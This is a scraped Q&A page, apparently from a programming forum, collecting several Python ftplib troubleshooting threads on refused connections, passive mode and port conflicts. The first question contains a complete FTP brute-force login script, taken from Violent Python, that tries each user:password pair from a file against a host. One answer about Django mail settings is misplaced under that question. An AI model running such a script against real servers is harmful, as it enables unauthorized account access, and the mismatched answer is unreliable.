WinError 10061 - Target machine refused connection? - python

I was running this code:
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
ftp = ftplib.FTP(hostname)
for line in pF.readlines():
userName, passWord = line.split(':', 1)
passWord = passWord.strip('\r\n') # strip any of the two characters
print("[+] Trying: {}/{}".format(userName, passWord))
try:
ftp.login(userName, passWord)
except ftplib.error_perm:
continue
else:
print('\n[*] {} FTP Logon Succeeded: {}/{}'.format(hostname, userName, passWord))
ftp.quit()
return userName, passWord
print('\n[-] Could not brute force FTP credentials.')
return None, None
host = '192.168.95.179'
passwdFile = 'C:/Users/Karrigan/Documents/Python Stuff/userpass.txt'
bruteLogin(host, passwdFile)
And I got an error:
[WinError 10061] No connection could be made because the target machine actively refused it
However, when running a similar version of this code earlier this morning, this error did not occur, but that might not be relevant. What could cause this? (Also, that IP is an example provided from the book Violent Python)

Generally that error message means you're getting blocked by a firewall, or the target machine isn't listening on that port.
So, if it was working earlier, then either someone turned on a firewall or stopped the process listening on that port.

This is because you are trying to send email using your localhost as mail-server.
In development process and if you do not have a mail server setup, and you want to fake sending emails using your local machine, so you have to fake it.
In other words:
Looks like you are trying to send a mail (send_mail()) and your mail settings in your settings.py are not correct.
For debugging purposes you could setup a local smtpserver with this command:
python -m smtpd -n -c DebuggingServer localhost:1025
and adjust your mail settings accordingly:
EMAIL_HOST = 'localhost'
EMAIL_PORT = 1025

Related

FTP Connection has Limited Functions, Can't upload or list directory [duplicate]

I'm trying to connect to an FTP but I am unable to run any commands.
ftp_server = ip
ftp_username = username
ftp_password = password
ftp = ftplib.FTP(ftp_server)
ftp.login(ftp_username, ftp_password)
'230 Logged on'
ftp.nlst()
The ftp.nlst throws this error:
Error:
[WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
I've tested the connection using FileZilla (running on the same machine) and it works fine.
This is FileZilla log:
Status: Connection established, waiting for welcome message...
Status: Insecure server, it does not support FTP over TLS.
Status: Logged in Status: Retrieving directory listing...
Status: Server sent passive reply with unroutable address. Using server address instead.
Status: Directory listing of "/" successful
Status: Server sent passive reply with unroutable address
The above means that the FTP server is misconfigured. It sends its internal network IP to outside network (to the client – FileZilla or Python ftplib), where it is invalid. FileZilla can detect that and automatically fall back to the original IP address of the server.
Python ftplib does not do this kind of detection.
You need to fix your FTP server to return the correct IP address.
If it is not feasible to fix the server (it's not yours and the admin is not cooperative), you can make ftplib ignore the returned (invalid) IP address and use the original address instead by overriding FTP.makepasv:
class SmartFTP(FTP):
def makepasv(self):
invalidhost, port = super(SmartFTP, self).makepasv()
return self.host, port
ftp = SmartFTP(ftp_server)
# the rest of the code is the same
In recent versions of Python (3.6 and newer), ftplib doesn't consider the IP address in PASV response on its own.
Another solution may be to use IPv6. See Python 3.8.5 FTPS connection.
For a different problem with similar consequences, see vsftpd returns 0,0,0,0 in response to PASV.

FTP connection issues

I have been tasked to try and build an interface to download and Upload files to an external FTP site which we use to communicate with a stock exchange.
For this we are communicating through the Filezilla FTP package.
I have spent the last few days researching and reading various pieces but cannot get the connection to work.
Now if I do a basic connection (as below) to the Filezilla website I get a connection.
from ftplib import FTP
ftp = FTP('filezilla-project.org')
Welcome = ftp.getwelcome()
print(Welcome)
# 220 FZ router and firewall tester ready
Basic I am trying to use the following (example not real credentials)
Protocol: FTP - File Transfer Protocol
Host: 212.31.105.26
Port:
Encryption: Require implicit FTP over TLS
Logon Type: Normal
User: L12
Password: GetConnected
I have created the below using various snippets etc. I do not get a fail message or timeout but I also do not get a response.
from ftplib import FTP_TLS
def connectftp():
ftp=ftplib.FTP('212.31.105.26', timeout=0.001)
print(ftp.getwelcome())
#ftp.login(username, password)
ftp.login(user='L12', passwd ='GetConnected')
#login_response = ftp.login(username, password)
login_response = ftp.login(user='L12', passwd ='GetConnected')
print(login_response)

Cannot list FTP directory using ftplib – but FTP client works

I'm trying to connect to an FTP but I am unable to run any commands.
ftp_server = ip
ftp_username = username
ftp_password = password
ftp = ftplib.FTP(ftp_server)
ftp.login(ftp_username, ftp_password)
'230 Logged on'
ftp.nlst()
The ftp.nlst throws this error:
Error:
[WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
I've tested the connection using FileZilla (running on the same machine) and it works fine.
This is FileZilla log:
Status: Connection established, waiting for welcome message...
Status: Insecure server, it does not support FTP over TLS.
Status: Logged in Status: Retrieving directory listing...
Status: Server sent passive reply with unroutable address. Using server address instead.
Status: Directory listing of "/" successful
Status: Server sent passive reply with unroutable address
The above means that the FTP server is misconfigured. It sends its internal network IP to outside network (to the client – FileZilla or Python ftplib), where it is invalid. FileZilla can detect that and automatically fall back to the original IP address of the server.
Python ftplib does not do this kind of detection.
You need to fix your FTP server to return the correct IP address.
If it is not feasible to fix the server (it's not yours and the admin is not cooperative), you can make ftplib ignore the returned (invalid) IP address and use the original address instead by overriding FTP.makepasv:
class SmartFTP(FTP):
def makepasv(self):
invalidhost, port = super(SmartFTP, self).makepasv()
return self.host, port
ftp = SmartFTP(ftp_server)
# the rest of the code is the same
In recent versions of Python (3.6 and newer), ftplib doesn't consider the IP address in PASV response on its own.
Another solution may be to use IPv6. See Python 3.8.5 FTPS connection.
For a different problem with similar consequences, see vsftpd returns 0,0,0,0 in response to PASV.

Google API oauth httpd server conflicts with SABNzbd+ in Python

I'm writing a Python app that interacts with a Google API and requires user authentication via oauth2.
I'm currently setting up a local authentication server to receive an oauth2 authentication code back from Google's oauth server, basically doing the oauth dance like this.
It usually works pretty well, but I guess I'm not understanding exactly how it's interacting with my ports, because it will happily assign my local authentication server to run on port 8080 even if some other app (in the case of my testing, SABNzbd++) is using that port.
I thought assigning the port to a used port number would result in an error and a retry. What am I doing wrong (or, alternatively, what is SABNzbd++ doing that keeps the fact that it's listening on port 8080 hidden from my app?)
The relevant code is as follows.
import socket
import BaseHTTPServer
from oauth2client.tools import ClientRedirectServer, ClientRedirectHandler
port_number = 0
host_name = 'localhost'
for port_number in range(8080,10000):
try:
httpd = ClientRedirectServer((host_name, port_number),
ClientRedirectHandler)
except socket.error, e:
print "socket error: " + str(e)
pass
else:
print "The server is running on: port " + str(port_number)
print "and host_name " + host_name
break
To clarify, the following are my expected results
socket error: [port already in use] (or something like that)
The server is running on: port 8081
and host_name localhost
and then going to localhost:8080 resolves to SABnzbd+, and localhost:8081 resolves to my authentication server.
I'm getting, howver:
the server is running on: port 8080
and host_name localhost
but going to localhost:8080 resolves to SABNzbd+
Thanks in advance!

Python ftplib timing out

I'm trying to use ftplib to get a file listing and download any new files since my last check. The code I'm trying to run so far is:
#!/usr/bin/env python
from ftplib import FTP
import sys
host = 'ftp.***.com'
user = '***'
passwd = '***'
try:
ftp = FTP(host)
ftp.login(user, passwd)
except:
print 'Error connecting to FTP server'
sys.exit()
try:
ftp.retrlines('LIST')
except:
print 'Error fetching file listing'
ftp.quit()
sys.exit()
ftp.quit()
Whenever I run this it times out when I try to retrieve the listing. Any ideas?
If Passive Mode is failing for some reason try:
ftp.set_pasv(False)
to use Active Mode.
Most likely a conflict between Active and Passive mode. Make sure that one of the following is true:
The server supports PASV mode and your client is setting PASV mode
If the server does not support passive mode, then your firewall must support active mode FTP transfers.
EDIT: I looked at the docs, and found that in Python 2.1 and later the default is passive mode. What server are you talking to, and di you know if it supports passive mode?
In active mode (non-PASV) the client sends a PORT command telling the server to initiate the DATA connection on that port, which requires your firewall be aware of the PORT command so it can forward the incoming DATA connection to you -- few firewalls support this. In passive mode the client opens the DATA connection and the server uses it (the server is "passive" in opening the data connection).
Just in case you're not using passive mode, do a ftp.set_pasv(True) and see if that makes a difference.

Categories

Resources